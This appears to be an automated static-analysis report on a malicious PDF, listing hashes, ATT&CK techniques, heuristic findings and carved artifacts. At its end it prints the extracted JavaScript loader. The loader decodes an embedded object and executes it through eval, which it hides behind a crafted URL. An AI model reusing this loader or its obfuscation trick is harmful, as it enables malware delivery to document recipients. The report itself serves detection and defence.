Malicious PDF — malware analysis report

Static analysis result for SHA-256 217aa3cc71024e70…

MALICIOUS

PDF

4.6 KB First seen: 2026-05-09
MD5: d6b8b5377f736baee8c10274f15b935d SHA-1: a52b0f3be40e4015f5fec140fdf9e2feb3cae355 SHA-256: 217aa3cc71024e708c67cb800bef4ee4c961d0864944ba12e25049a75c5ae01e
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript and an embedded file, both flagged as suspicious. The ML classifier strongly indicates maliciousness. The embedded JavaScript is likely responsible for executing the embedded file, which could be a secondary payload. The presence of JavaScript actions and embedded files points towards an exploit delivery mechanism.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x429 79560 bytes
SHA-256: 25b8ad9d1b6d37610c470e78de3348ca1860392caf55a3f45124c3d87f671ad5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
279 of 279 identifiers look randomly generated (e.g. 'BsGCS2m3RWZLptlq1BsGCS2m3RWZLptlq2BsGCS2') — consistent with name-mangling obfuscation. Carved artifact contains 101 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1F1 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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